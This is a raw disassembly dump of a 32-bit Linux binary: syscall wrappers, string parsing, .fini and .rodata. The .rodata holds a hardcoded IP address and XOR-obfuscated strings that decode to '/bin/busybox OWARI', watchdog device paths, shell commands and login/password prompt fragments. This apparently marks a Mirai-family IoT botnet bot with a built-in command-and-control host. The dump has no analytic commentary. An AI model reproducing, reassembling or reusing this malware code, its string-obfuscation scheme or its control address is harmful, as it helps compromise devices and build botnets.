804e473: 8b 7c 24 2c mov 0x2c(%esp),%edi
804e477: 89 cb mov %ecx,%ebx
804e479: 8d 74 24 08 lea 0x8(%esp),%esi
804e47d: c1 fb 1f sar $0x1f,%ebx
804e480: 8b 44 24 20 mov 0x20(%esp),%eax
804e484: 8b 54 24 24 mov 0x24(%esp),%edx
804e488: 53 push %ebx
804e489: 89 c3 mov %eax,%ebx
804e48b: b8 8c 00 00 00 mov $0x8c,%eax
804e490: cd 80 int $0x80
804e492: 5b pop %ebx
804e493: 89 c6 mov %eax,%esi
804e495: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e49a: 76 0e jbe 0x804e4aa
804e49c: e8 15 e1 ff ff call 0x804c5b6
804e4a1: f7 de neg %esi
804e4a3: 89 30 mov %esi,(%eax)
804e4a5: 83 ce ff or $0xffffffff,%esi
804e4a8: eb 04 jmp 0x804e4ae
804e4aa: 85 c0 test %eax,%eax
804e4ac: 74 05 je 0x804e4b3
804e4ae: 89 f0 mov %esi,%eax
804e4b0: 99 cltd
804e4b1: eb 08 jmp 0x804e4bb
804e4b3: 8b 44 24 08 mov 0x8(%esp),%eax
804e4b7: 8b 54 24 0c mov 0xc(%esp),%edx
804e4bb: 83 c4 10 add $0x10,%esp
804e4be: 5b pop %ebx
804e4bf: 5e pop %esi
804e4c0: 5f pop %edi
804e4c1: c3 ret
804e4c2: 57 push %edi
804e4c3: 56 push %esi
804e4c4: 83 ec 04 sub $0x4,%esp
804e4c7: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e4cb: 8b 54 24 18 mov 0x18(%esp),%edx
804e4cf: 8b 74 24 1c mov 0x1c(%esp),%esi
804e4d3: 8b 7c 24 20 mov 0x20(%esp),%edi
804e4d7: 8b 44 24 10 mov 0x10(%esp),%eax
804e4db: 53 push %ebx
804e4dc: 89 c3 mov %eax,%ebx
804e4de: b8 a3 00 00 00 mov $0xa3,%eax
804e4e3: cd 80 int $0x80
804e4e5: 5b pop %ebx
804e4e6: 89 c6 mov %eax,%esi
804e4e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e4ed: 76 0c jbe 0x804e4fb
804e4ef: e8 c2 e0 ff ff call 0x804c5b6
804e4f4: f7 de neg %esi
804e4f6: 89 30 mov %esi,(%eax)
804e4f8: 83 ce ff or $0xffffffff,%esi
804e4fb: 89 f0 mov %esi,%eax
804e4fd: 5a pop %edx
804e4fe: 5e pop %esi
804e4ff: 5f pop %edi
804e500: c3 ret
804e501: 53 push %ebx
804e502: 83 ec 08 sub $0x8,%esp
804e505: 8b 54 24 10 mov 0x10(%esp),%edx
804e509: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e50d: 87 d3 xchg %edx,%ebx
804e50f: b8 5b 00 00 00 mov $0x5b,%eax
804e514: cd 80 int $0x80
804e516: 87 d3 xchg %edx,%ebx
804e518: 89 c3 mov %eax,%ebx
804e51a: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e51f: 76 0c jbe 0x804e52d
804e521: e8 90 e0 ff ff call 0x804c5b6
804e526: f7 db neg %ebx
804e528: 89 18 mov %ebx,(%eax)
804e52a: 83 cb ff or $0xffffffff,%ebx
804e52d: 89 d8 mov %ebx,%eax
804e52f: 5a pop %edx
804e530: 59 pop %ecx
804e531: 5b pop %ebx
804e532: c3 ret
804e533: 53 push %ebx
804e534: 83 ec 08 sub $0x8,%esp
804e537: 8b 54 24 10 mov 0x10(%esp),%edx
804e53b: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e53f: 87 d3 xchg %edx,%ebx
804e541: b8 a2 00 00 00 mov $0xa2,%eax
804e546: cd 80 int $0x80
804e548: 87 d3 xchg %edx,%ebx
804e54a: 89 c3 mov %eax,%ebx
804e54c: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e551: 76 0c jbe 0x804e55f
804e553: e8 5e e0 ff ff call 0x804c5b6
804e558: f7 db neg %ebx
804e55a: 89 18 mov %ebx,(%eax)
804e55c: 83 cb ff or $0xffffffff,%ebx
804e55f: 89 d8 mov %ebx,%eax
804e561: 5a pop %edx
804e562: 59 pop %ecx
804e563: 5b pop %ebx
804e564: c3 ret
804e565: 56 push %esi
804e566: 53 push %ebx
804e567: 83 ec 04 sub $0x4,%esp
804e56a: 83 3d 04 f1 04 08 00 cmpl $0x0,0x804f104
804e571: 8b 74 24 10 mov 0x10(%esp),%esi
804e575: 75 11 jne 0x804e588
804e577: 83 ec 0c sub $0xc,%esp
804e57a: 6a 00 push $0x0
804e57c: e8 5b 02 00 00 call 0x804e7dc
804e581: 83 c4 10 add $0x10,%esp
804e584: 85 c0 test %eax,%eax
804e586: 78 22 js 0x804e5aa
804e588: 85 f6 test %esi,%esi
804e58a: a1 04 f1 04 08 mov 0x804f104,%eax
804e58f: 75 04 jne 0x804e595
804e591: 89 c3 mov %eax,%ebx
804e593: eb 18 jmp 0x804e5ad
804e595: 83 ec 0c sub $0xc,%esp
804e598: 89 c3 mov %eax,%ebx
804e59a: 8d 04 30 lea (%eax,%esi,1),%eax
804e59d: 50 push %eax
804e59e: e8 39 02 00 00 call 0x804e7dc
804e5a3: 83 c4 10 add $0x10,%esp
804e5a6: 85 c0 test %eax,%eax
804e5a8: 79 03 jns 0x804e5ad
804e5aa: 83 cb ff or $0xffffffff,%ebx
804e5ad: 89 d8 mov %ebx,%eax
804e5af: 5a pop %edx
804e5b0: 5b pop %ebx
804e5b1: 5e pop %esi
804e5b2: c3 ret
804e5b3: 57 push %edi
804e5b4: 56 push %esi
804e5b5: 83 ec 04 sub $0x4,%esp
804e5b8: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e5bc: 8b 7c 24 10 mov 0x10(%esp),%edi
804e5c0: 8b 54 24 18 mov 0x18(%esp),%edx
804e5c4: 85 c9 test %ecx,%ecx
804e5c6: 74 15 je 0x804e5dd
804e5c8: 83 ff 02 cmp $0x2,%edi
804e5cb: 76 10 jbe 0x804e5dd
804e5cd: e8 e4 df ff ff call 0x804c5b6
804e5d2: c7 00 16 00 00 00 movl $0x16,(%eax)
804e5d8: 83 c8 ff or $0xffffffff,%eax
804e5db: eb 27 jmp 0x804e604
804e5dd: be 08 00 00 00 mov $0x8,%esi
804e5e2: 53 push %ebx
804e5e3: 89 fb mov %edi,%ebx
804e5e5: b8 af 00 00 00 mov $0xaf,%eax
804e5ea: cd 80 int $0x80
804e5ec: 5b pop %ebx
804e5ed: 89 c6 mov %eax,%esi
804e5ef: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e5f4: 76 0c jbe 0x804e602
804e5f6: e8 bb df ff ff call 0x804c5b6
804e5fb: f7 de neg %esi
804e5fd: 89 30 mov %esi,(%eax)
804e5ff: 83 ce ff or $0xffffffff,%esi
804e602: 89 f0 mov %esi,%eax
804e604: 5a pop %edx
804e605: 5e pop %esi
804e606: 5f pop %edi
804e607: c3 ret
804e608: 57 push %edi
804e609: 83 ec 08 sub $0x8,%esp
804e60c: 8b 7c 24 10 mov 0x10(%esp),%edi
804e610: 53 push %ebx
804e611: 89 fb mov %edi,%ebx
804e613: b8 2b 00 00 00 mov $0x2b,%eax
804e618: cd 80 int $0x80
804e61a: 5b pop %ebx
804e61b: 89 c7 mov %eax,%edi
804e61d: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e622: 76 0c jbe 0x804e630
804e624: e8 8d df ff ff call 0x804c5b6
804e629: f7 df neg %edi
804e62b: 89 38 mov %edi,(%eax)
804e62d: 83 cf ff or $0xffffffff,%edi
804e630: 89 f8 mov %edi,%eax
804e632: 5a pop %edx
804e633: 59 pop %ecx
804e634: 5f pop %edi
804e635: c3 ret
804e636: 56 push %esi
804e637: 53 push %ebx
804e638: 83 ec 08 sub $0x8,%esp
804e63b: 8b 74 24 14 mov 0x14(%esp),%esi
804e63f: 8b 5c 24 18 mov 0x18(%esp),%ebx
804e643: 6a 58 push $0x58
804e645: 6a 00 push $0x0
804e647: 53 push %ebx
804e648: e8 ba df ff ff call 0x804c607
804e64d: 0f b7 06 movzwl (%esi),%eax
804e650: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx)
804e657: 89 03 mov %eax,(%ebx)
804e659: 8b 46 04 mov 0x4(%esi),%eax
804e65c: 89 43 0c mov %eax,0xc(%ebx)
804e65f: 0f b7 46 08 movzwl 0x8(%esi),%eax
804e663: 89 43 10 mov %eax,0x10(%ebx)
804e666: 0f b7 46 0a movzwl 0xa(%esi),%eax
804e66a: 89 43 14 mov %eax,0x14(%ebx)
804e66d: 0f b7 46 0c movzwl 0xc(%esi),%eax
804e671: 89 43 18 mov %eax,0x18(%ebx)
804e674: 0f b7 46 0e movzwl 0xe(%esi),%eax
804e678: 89 43 1c mov %eax,0x1c(%ebx)
804e67b: 0f b7 46 10 movzwl 0x10(%esi),%eax
804e67f: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
804e686: 89 43 20 mov %eax,0x20(%ebx)
804e689: 8b 46 14 mov 0x14(%esi),%eax
804e68c: 89 43 2c mov %eax,0x2c(%ebx)
804e68f: 8b 46 18 mov 0x18(%esi),%eax
804e692: 89 43 30 mov %eax,0x30(%ebx)
804e695: 8b 46 1c mov 0x1c(%esi),%eax
804e698: 89 43 34 mov %eax,0x34(%ebx)
804e69b: 8b 46 20 mov 0x20(%esi),%eax
804e69e: 89 43 38 mov %eax,0x38(%ebx)
804e6a1: 8b 46 28 mov 0x28(%esi),%eax
804e6a4: 89 43 40 mov %eax,0x40(%ebx)
804e6a7: 8b 46 30 mov 0x30(%esi),%eax
804e6aa: 89 43 48 mov %eax,0x48(%ebx)
804e6ad: 83 c4 14 add $0x14,%esp
804e6b0: 5b pop %ebx
804e6b1: 5e pop %esi
804e6b2: c3 ret
804e6b3: 57 push %edi
804e6b4: 56 push %esi
804e6b5: 8b 44 24 14 mov 0x14(%esp),%eax
804e6b9: 8b 74 24 10 mov 0x10(%esp),%esi
804e6bd: 89 c1 mov %eax,%ecx
804e6bf: 8b 7c 24 0c mov 0xc(%esp),%edi
804e6c3: c1 e9 02 shr $0x2,%ecx
804e6c6: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
804e6c8: a8 02 test $0x2,%al
804e6ca: 74 02 je 0x804e6ce
804e6cc: 66 a5 movsw %ds:(%esi),%es:(%edi)
804e6ce: a8 01 test $0x1,%al
804e6d0: 74 01 je 0x804e6d3
804e6d2: a4 movsb %ds:(%esi),%es:(%edi)
804e6d3: 8b 44 24 0c mov 0xc(%esp),%eax
804e6d7: 5e pop %esi
804e6d8: 5f pop %edi
804e6d9: c3 ret
804e6da: 55 push %ebp
804e6db: 57 push %edi
804e6dc: 56 push %esi
804e6dd: 53 push %ebx
804e6de: 83 ec 04 sub $0x4,%esp
804e6e1: 8b 4c 24 18 mov 0x18(%esp),%ecx
804e6e5: 85 c9 test %ecx,%ecx
804e6e7: 74 7d je 0x804e766
804e6e9: 31 f6 xor %esi,%esi
804e6eb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804e6f2: eb 51 jmp 0x804e745
804e6f4: 0f be 01 movsbl (%ecx),%eax
804e6f7: 8b 2d 84 f0 04 08 mov 0x804f084,%ebp
804e6fd: f6 44 45 00 08 testb $0x8,0x0(%ebp,%eax,2)
804e702: 74 62 je 0x804e766
804e704: 31 ff xor %edi,%edi
804e706: eb 10 jmp 0x804e718
804e708: 6b c7 0a imul $0xa,%edi,%eax
804e70b: 8d 7c 18 d0 lea -0x30(%eax,%ebx,1),%edi
804e70f: 81 ff ff 00 00 00 cmp $0xff,%edi
804e715: 7f 4f jg 0x804e766
804e717: 41 inc %ecx
804e718: 8a 11 mov (%ecx),%dl
804e71a: 0f be da movsbl %dl,%ebx
804e71d: 0f b7 44 5d 00 movzwl 0x0(%ebp,%ebx,2),%eax
804e722: a8 08 test $0x8,%al
804e724: 75 e2 jne 0x804e708
804e726: 83 3c 24 03 cmpl $0x3,(%esp)
804e72a: 7f 08 jg 0x804e734
804e72c: 80 fa 2e cmp $0x2e,%dl
804e72f: 75 35 jne 0x804e766
804e731: 41 inc %ecx
804e732: eb 09 jmp 0x804e73d
804e734: 41 inc %ecx
804e735: 84 d2 test %dl,%dl
804e737: 74 04 je 0x804e73d
804e739: a8 20 test $0x20,%al
804e73b: 74 29 je 0x804e766
804e73d: c1 e6 08 shl $0x8,%esi
804e740: ff 04 24 incl (%esp)
804e743: 09 fe or %edi,%esi
804e745: 83 3c 24 04 cmpl $0x4,(%esp)
804e749: 7e a9 jle 0x804e6f4
804e74b: b8 01 00 00 00 mov $0x1,%eax
804e750: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp)
804e755: 74 11 je 0x804e768
804e757: 8b 44 24 1c mov 0x1c(%esp),%eax
804e75b: 0f ce bswap %esi
804e75d: 89 30 mov %esi,(%eax)
804e75f: b8 01 00 00 00 mov $0x1,%eax
804e764: eb 02 jmp 0x804e768
804e766: 31 c0 xor %eax,%eax
804e768: 5a pop %edx
804e769: 5b pop %ebx
804e76a: 5e pop %esi
804e76b: 5f pop %edi
804e76c: 5d pop %ebp
804e76d: c3 ret
804e76e: 83 ec 0c sub $0xc,%esp
804e771: e8 b1 d9 ff ff call 0x804c127
804e776: 52 push %edx
804e777: 52 push %edx
804e778: ff 74 24 18 pushl 0x18(%esp)
804e77c: 50 push %eax
804e77d: e8 30 da ff ff call 0x804c1b2
804e782: 83 c4 1c add $0x1c,%esp
804e785: c3 ret
804e786: 53 push %ebx
804e787: b8 01 00 00 00 mov $0x1,%eax
804e78c: 8b 4c 24 0c mov 0xc(%esp),%ecx
804e790: 8b 54 24 08 mov 0x8(%esp),%edx
804e794: 49 dec %ecx
804e795: 89 cb mov %ecx,%ebx
804e797: 83 e1 1f and $0x1f,%ecx
804e79a: c1 eb 05 shr $0x5,%ebx
804e79d: d3 e0 shl %cl,%eax
804e79f: 85 04 9a test %eax,(%edx,%ebx,4)
804e7a2: 5b pop %ebx
804e7a3: 0f 95 c0 setne %al
804e7a6: 0f b6 c0 movzbl %al,%eax
804e7a9: c3 ret
804e7aa: 53 push %ebx
804e7ab: b8 01 00 00 00 mov $0x1,%eax
804e7b0: 8b 4c 24 0c mov 0xc(%esp),%ecx
804e7b4: 8b 5c 24 08 mov 0x8(%esp),%ebx
804e7b8: 49 dec %ecx
804e7b9: 89 ca mov %ecx,%edx
804e7bb: 83 e1 1f and $0x1f,%ecx
804e7be: c1 ea 05 shr $0x5,%edx
804e7c1: d3 e0 shl %cl,%eax
804e7c3: 09 04 93 or %eax,(%ebx,%edx,4)
804e7c6: 31 c0 xor %eax,%eax
804e7c8: 5b pop %ebx
804e7c9: c3 ret
804e7ca: 8b 50 1c mov 0x1c(%eax),%edx
804e7cd: 89 15 b8 f5 04 08 mov %edx,0x804f5b8
804e7d3: 8b 40 2c mov 0x2c(%eax),%eax
804e7d6: a3 bc f5 04 08 mov %eax,0x804f5bc
804e7db: c3 ret
804e7dc: 53 push %ebx
804e7dd: ba 2d 00 00 00 mov $0x2d,%edx
804e7e2: 83 ec 08 sub $0x8,%esp
804e7e5: 89 d0 mov %edx,%eax
804e7e7: 8b 5c 24 10 mov 0x10(%esp),%ebx
804e7eb: 89 d9 mov %ebx,%ecx
804e7ed: 89 db mov %ebx,%ebx
804e7ef: cd 80 int $0x80
804e7f1: 89 cb mov %ecx,%ebx
804e7f3: 31 c9 xor %ecx,%ecx
804e7f5: a3 04 f1 04 08 mov %eax,0x804f104
804e7fa: 39 d8 cmp %ebx,%eax
804e7fc: 73 0e jae 0x804e80c
804e7fe: e8 b3 dd ff ff call 0x804c5b6
804e803: 83 c9 ff or $0xffffffff,%ecx
804e806: c7 00 0c 00 00 00 movl $0xc,(%eax)
804e80c: 89 c8 mov %ecx,%eax
804e80e: 5a pop %edx
804e80f: 59 pop %ecx
804e810: 5b pop %ebx
804e811: c3 ret
804e812: 83 ec 0c sub $0xc,%esp
804e815: 89 c2 mov %eax,%edx
804e817: f7 da neg %edx
804e819: e8 98 dd ff ff call 0x804c5b6
804e81e: 89 10 mov %edx,(%eax)
804e820: 83 c8 ff or $0xffffffff,%eax
804e823: 83 c4 0c add $0xc,%esp
804e826: c3 ret
804e827: 90 nop
804e828: 90 nop
804e829: 90 nop
804e82a: 90 nop
804e82b: 90 nop
804e82c: 90 nop
804e82d: 90 nop
804e82e: 90 nop
804e82f: 90 nop
804e830: 55 push %ebp
804e831: 89 e5 mov %esp,%ebp
804e833: 53 push %ebx
804e834: 83 ec 04 sub $0x4,%esp
804e837: bb 00 f0 04 08 mov $0x804f000,%ebx
804e83c: a1 00 f0 04 08 mov 0x804f000,%eax
804e841: 83 f8 ff cmp $0xffffffff,%eax
804e844: 74 0c je 0x804e852
804e846: 83 eb 04 sub $0x4,%ebx
804e849: ff d0 call *%eax
804e84b: 8b 03 mov (%ebx),%eax
804e84d: 83 f8 ff cmp $0xffffffff,%eax
804e850: 75 f4 jne 0x804e846
804e852: 58 pop %eax
804e853: 5b pop %ebx
804e854: 5d pop %ebp
804e855: c3 ret
Disassembly of section .fini:
0804e856 <.fini>:
804e856: 55 push %ebp
804e857: 89 e5 mov %esp,%ebp
804e859: 53 push %ebx
804e85a: e8 51 98 ff ff call 0x80480b0
804e85f: 81 c3 b5 07 00 00 add $0x7b5,%ebx
804e865: e8 56 98 ff ff call 0x80480c0
804e86a: 5b pop %ebx
804e86b: 5d pop %ebp
804e86c: c3 ret
Disassembly of section .rodata:
0804e880 <.rodata>:
804e880: 2f das
804e881: 00 32 add %dh,(%edx)
804e883: 30 37 xor %dh,(%edi)
804e885: 2e 31 35 34 2e 32 30 xor %esi,%cs:0x30322e34
804e88c: 35 2e 32 32 33 xor $0x3332322e,%eax
804e891: 00 0a add %cl,(%edx)
804e893: 00 00 add %al,(%eax)
804e895: 00 00 add %al,(%eax)
804e897: 01 00 add %eax,(%eax)
804e899: 37 aaa
804e89a: 89 00 mov %eax,(%eax)
804e89c: 44 inc %esp
804e89d: 52 push %edx
804e89e: 00 1b add %bl,(%ebx)
804e8a0: 03 15 06 1d 64 6d add 0x6d641d06,%edx
804e8a6: 65 66 67 3d 30 6d gs addr16 cmp $0x6d30,%ax
804e8ac: 3d 65 66 67 2c cmp $0x2c676665,%eax
804e8b1: 30 6d 65 xor %ch,0x65(%ebp)
804e8b4: 66 54 push %sp
804e8b6: 00 27 add %ah,(%edi)
804e8b8: 3c 31 cmp $0x31,%al
804e8ba: 38 38 cmp %bh,(%eax)
804e8bc: 54 push %esp
804e8bd: 00 31 add %dh,(%ecx)
804e8bf: 3a 35 36 38 31 54 cmp 0x54313836,%dh
804e8c5: 00 27 add %ah,(%edi)
804e8c7: 2d 27 20 31 39 sub $0x39312027,%eax
804e8cc: 54 push %esp
804e8cd: 00 27 add %ah,(%edi)
804e8cf: 3c 54 cmp $0x54,%al
804e8d1: 00 7b 36 add %bh,0x36(%ebx)
804e8d4: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax
804e8d9: 27 daa
804e8da: 2d 36 3b 2c 74 sub $0x742c3b36,%eax
804e8df: 1b 03 sbb (%ebx),%eax
804e8e1: 15 06 1d 54 00 adc $0x541d06,%eax
804e8e6: 1b 03 sbb (%ebx),%eax
804e8e8: 15 06 1d 6e 74 adc $0x746e1d06,%eax
804e8ed: 35 24 24 38 31 xor $0x31382424,%eax
804e8f2: 20 74 3a 3b and %dh,0x3b(%edx,%edi,1)
804e8f6: 20 74 32 3b and %dh,0x3b(%edx,%esi,1)
804e8fa: 21 3a and %edi,(%edx)
804e8fc: 30 54 00 3a xor %dl,0x3a(%eax,%eax,1)
804e900: 37 aaa
804e901: 3b 26 cmp (%esi),%esp
804e903: 26 31 37 xor %esi,%es:(%edi)
804e906: 20 54 00 7b and %dl,0x7b(%eax,%eax,1)
804e90a: 36 3d 3a 7b 36 21 ss cmp $0x21367b3a,%eax
804e910: 27 daa
804e911: 2d 36 3b 2c 74 sub $0x742c3b36,%eax
804e916: 24 27 and $0x27,%al
804e918: 54 push %esp
804e919: 00 7b 36 add %bh,0x36(%ebx)
804e91c: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax
804e921: 27 daa
804e922: 2d 36 3b 2c 74 sub $0x742c3b36,%eax
804e927: 3f aas
804e928: 3d 38 38 74 79 cmp $0x79743838,%eax
804e92d: 6d insl (%dx),%es:(%edi)
804e92e: 74 54 je 0x804e984
804e930: 00 7b 24 add %bh,0x24(%ebx)
804e933: 26 3b 37 cmp %es:(%edi),%esi
804e936: 7b 54 jnp 0x804e98c
804e938: 00 7b 31 add %bh,0x31(%ebx)
804e93b: 2c 31 sub $0x31,%al
804e93d: 54 push %esp
804e93e: 00 7b 32 add %bh,0x32(%ebx)
804e941: 30 54 00 7b xor %dl,0x7b(%eax,%eax,1)
804e945: 39 35 24 27 54 00 cmp %esi,0x542724
804e94b: 7b 24 jnp 0x804e971
804e94d: 26 3b 37 cmp %es:(%edi),%esi
804e950: 7b 3a jnp 0x804e98c
804e952: 31 20 xor %esp,(%eax)
804e954: 7b 20 jnp 0x804e976
804e956: 37 aaa
804e957: 24 54 and $0x54,%al
804e959: 00 7b 27 add %bh,0x27(%ebx)
804e95c: 20 35 20 21 27 54 and %dh,0x54272120
804e962: 00 7a 35 add %bh,0x35(%edx)
804e965: 3a 3d 39 31 54 00 cmp 0x543139,%bh
804e96b: 7b 24 jnp 0x804e991
804e96d: 26 3b 37 cmp %es:(%edi),%esi
804e970: 7b 3a jnp 0x804e9ac
804e972: 31 20 xor %esp,(%eax)
804e974: 7b 26 jnp 0x804e99c
804e976: 3b 21 cmp (%ecx),%esp
804e978: 20 31 and %dh,(%ecx)
804e97a: 54 push %esp
804e97b: 00 35 27 27 23 3b add %dh,0x3b232727
804e981: 26 30 54 00 7b xor %dl,%es:0x7b(%eax,%eax,1)
804e986: 31 20 xor %esp,(%eax)
804e988: 37 aaa
804e989: 7b 26 jnp 0x804e9b1
804e98b: 31 27 xor %esp,(%edi)
804e98d: 3b 38 cmp (%eax),%edi
804e98f: 22 7a 37 and 0x37(%edx),%bh
804e992: 3b 3a cmp (%edx),%edi
804e994: 32 54 00 3a xor 0x3a(%eax,%eax,1),%dl
804e998: 35 39 31 27 31 xor $0x31273139,%eax
804e99d: 26 22 31 and %es:(%ecx),%dh
804e9a0: 26 74 54 es je 0x804e9f7
804e9a3: 00 7b 30 add %bh,0x30(%ebx)
804e9a6: 31 22 xor %esp,(%edx)
804e9a8: 7b 23 jnp 0x804e9cd
804e9aa: 35 20 37 3c 30 xor $0x303c3720,%eax
804e9af: 3b 33 cmp (%ebx),%esi
804e9b1: 54 push %esp
804e9b2: 00 7b 30 add %bh,0x30(%ebx)
804e9b5: 31 22 xor %esp,(%edx)
804e9b7: 7b 39 jnp 0x804e9f2
804e9b9: 3d 27 37 7b 23 cmp $0x237b3727,%eax
804e9be: 35 20 37 3c 30 xor $0x303c3720,%eax
804e9c3: 3b 33 cmp (%ebx),%esi
804e9c5: 54 push %esp
804e9c6: 00 24 36 add %ah,(%esi,%esi,1)
804e9c9: 36 32 2a xor %ss:(%edx),%ch
804e9cc: 37 aaa
804e9cd: 21 45 00 and %eax,0x0(%ebp)
804e9d0: 3b 33 cmp (%ebx),%esi
804e9d2: 3d 3a 54 00 31 cmp $0x3100543a,%eax
804e9d7: 3a 20 cmp (%eax),%ah
804e9d9: 31 26 xor %esp,(%esi)
804e9db: 54 push %esp
804e9dc: 00 6d 21 add %ch,0x21(%ebp)
804e9df: 65 66 67 60 gs addr16 pushaw
804e9e3: 60 pusha
804e9e4: 6c insb (%dx),%es:(%edi)
804e9e5: 21 65 66 and %esp,0x66(%ebp)
804e9e8: 60 pusha
804e9e9: 35 21 6c 65 60 xor $0x60656c21,%eax
804e9ee: 30 60 2c xor %ah,0x2c(%eax)
804e9f1: 65 64 54 gs fs push %esp
804e9f4: 00 00 add %al,(%eax)
804e9f6: 07 pop %es
804e9f7: 3b 21 cmp (%ecx),%esp
804e9f9: 26 37 es aaa
804e9fb: 31 74 11 3a xor %esi,0x3a(%ecx,%edx,1)
804e9ff: 33 3d 3a 31 74 05 xor 0x574313a,%edi
804ea05: 21 31 and %esi,(%ecx)
804ea07: 26 2d 54 00 00 44 es sub $0x44000054,%eax
804ea0d: dc 04 08 faddl (%eax,%ecx,1)
804ea10: 29 dd sub %ebx,%ebp
804ea12: 04 08 add $0x8,%al
804ea14: 4e dec %esi
804ea15: dc 04 08 faddl (%eax,%ecx,1)
804ea18: 58 pop %eax
804ea19: dc 04 08 faddl (%eax,%ecx,1)
804ea1c: 62 (bad)
804ea1d: dc 04 08 faddl (%eax,%ecx,1)
804ea20: f8 clc
804ea21: dc 04 08 faddl (%eax,%ecx,1)
804ea24: 6a dc push $0xffffffdc
804ea26: 04 08 add $0x8,%al
804ea28: 2a dc sub %ah,%bl
804ea2a: 04 08 add $0x8,%al
804ea2c: 2a dc sub %ah,%bl
804ea2e: 04 08 add $0x8,%al
804ea30: 2a dc sub %ah,%bl
804ea32: 04 08 add $0x8,%al
804ea34: 2a dc sub %ah,%bl
804ea36: 04 08 add $0x8,%al
804ea38: 2a dc sub %ah,%bl
804ea3a: 04 08 add $0x8,%al
804ea3c: 2a dc sub %ah,%bl
804ea3e: 04 08 add $0x8,%al
804ea40: 2a dc sub %ah,%bl
804ea42: 04 08 add $0x8,%al
804ea44: 2a dc sub %ah,%bl
804ea46: 04 08 add $0x8,%al
804ea48: 2a dc sub %ah,%bl
804ea4a: 04 08 add $0x8,%al
804ea4c: 2a dc sub %ah,%bl
804ea4e: 04 08 add $0x8,%al
804ea50: 2a dc sub %ah,%bl
804ea52: 04 08 add $0x8,%al
804ea54: 2a dc sub %ah,%bl
804ea56: 04 08 add $0x8,%al
804ea58: 2a dc sub %ah,%bl
804ea5a: 04 08 add $0x8,%al
804ea5c: 2a dc sub %ah,%bl
804ea5e: 04 08 add $0x8,%al
804ea60: 2a dc sub %ah,%bl
804ea62: 04 08 add $0x8,%al
804ea64: 2a dc sub %ah,%bl
804ea66: 04 08 add $0x8,%al
804ea68: 29 dd sub %ebx,%ebp
804ea6a: 04 08 add $0x8,%al
804ea6c: 29 dd sub %ebx,%ebp
804ea6e: 04 08 add $0x8,%al
804ea70: 35 dd 04 08 06 xor $0x60804dd,%eax
804ea75: dd 04 08 fldl (%eax,%ecx,1)
804ea78: 29 dd sub %ebx,%ebp
804ea7a: 04 08 add $0x8,%al
804ea7c: 7c dc jl 0x804ea5a
804ea7e: 04 08 add $0x8,%al
804ea80: ff (bad)
804ea81: dc 04 08 faddl (%eax,%ecx,1)
804ea84: 74 dc je 0x804ea62
804ea86: 04 08 add $0x8,%al
804ea88: 14 dd adc $0xdd,%al
804ea8a: 04 08 add $0x8,%al
804ea8c: 29 dd sub %ebx,%ebp
804ea8e: 04 08 add $0x8,%al
804ea90: 29 dd sub %ebx,%ebp
804ea92: 04 08 add $0x8,%al
804ea94: 29 dd sub %ebx,%ebp
804ea96: 04 08 add $0x8,%al
804ea98: 0d dd 04 08 3c or $0x3c0804dd,%eax
804ea9d: dd 04 08 fldl (%eax,%ecx,1)
804eaa0: 43 inc %ebx
804eaa1: dd 04 08 fldl (%eax,%ecx,1)
804eaa4: 3c dd cmp $0xdd,%al
804eaa6: 04 08 add $0x8,%al
804eaa8: 86 dc xchg %bl,%ah
804eaaa: 04 08 add $0x8,%al
804eaac: 4a dec %edx
804eaad: dd 04 08 fldl (%eax,%ecx,1)
804eab0: 29 dd sub %ebx,%ebp
804eab2: 04 08 add $0x8,%al
804eab4: 14 dd adc $0xdd,%al
804eab6: 04 08 add $0x8,%al
804eab8: 43 inc %ebx
804eab9: dd 04 08 fldl (%eax,%ecx,1)
804eabc: 51 push %ecx
804eabd: dd 04 08 fldl (%eax,%ecx,1)
804eac0: 43 inc %ebx
804eac1: dd 04 08 fldl (%eax,%ecx,1)
804eac4: ff (bad)
804eac5: dc 04 08 faddl (%eax,%ecx,1)
804eac8: ff (bad)
804eac9: dc 04 08 faddl (%eax,%ecx,1)
804eacc: ff (bad)
804eacd: dc 04 08 faddl (%eax,%ecx,1)
804ead0: 29 dd sub %ebx,%ebp
804ead2: 04 08 add $0x8,%al
804ead4: 29 dd sub %ebx,%ebp
804ead6: 04 08 add $0x8,%al
804ead8: ff (bad)
804ead9: dc 04 08 faddl (%eax,%ecx,1)
804eadc: ff (bad)
804eadd: dc 04 08 faddl (%eax,%ecx,1)
804eae0: 29 dd sub %ebx,%ebp
804eae2: 04 08 add $0x8,%al
804eae4: 29 dd sub %ebx,%ebp
804eae6: 04 08 add $0x8,%al
804eae8: 29 dd sub %ebx,%ebp
804eaea: 04 08 add $0x8,%al
804eaec: 29 dd sub %ebx,%ebp
804eaee: 04 08 add $0x8,%al
804eaf0: 29 dd sub %ebx,%ebp
804eaf2: 04 08 add $0x8,%al
804eaf4: 29 dd sub %ebx,%ebp
804eaf6: 04 08 add $0x8,%al
804eaf8: 29 dd sub %ebx,%ebp
804eafa: 04 08 add $0x8,%al
804eafc: 29 dd sub %ebx,%ebp
804eafe: 04 08 add $0x8,%al
804eb00: 29 dd sub %ebx,%ebp
804eb02: 04 08 add $0x8,%al
804eb04: 29 dd sub %ebx,%ebp
804eb06: 04 08 add $0x8,%al
804eb08: 29 dd sub %ebx,%ebp
804eb0a: 04 08 add $0x8,%al
804eb0c: 29 dd sub %ebx,%ebp
804eb0e: 04 08 add $0x8,%al
804eb10: 29 dd sub %ebx,%ebp
804eb12: 04 08 add $0x8,%al
804eb14: 29 dd sub %ebx,%ebp
804eb16: 04 08 add $0x8,%al
804eb18: 2a dc sub %ah,%bl
804eb1a: 04 08 add $0x8,%al
804eb1c: 2a dc sub %ah,%bl
804eb1e: 04 08 add $0x8,%al
804eb20: 0d dd 04 08 0d or $0xd0804dd,%eax
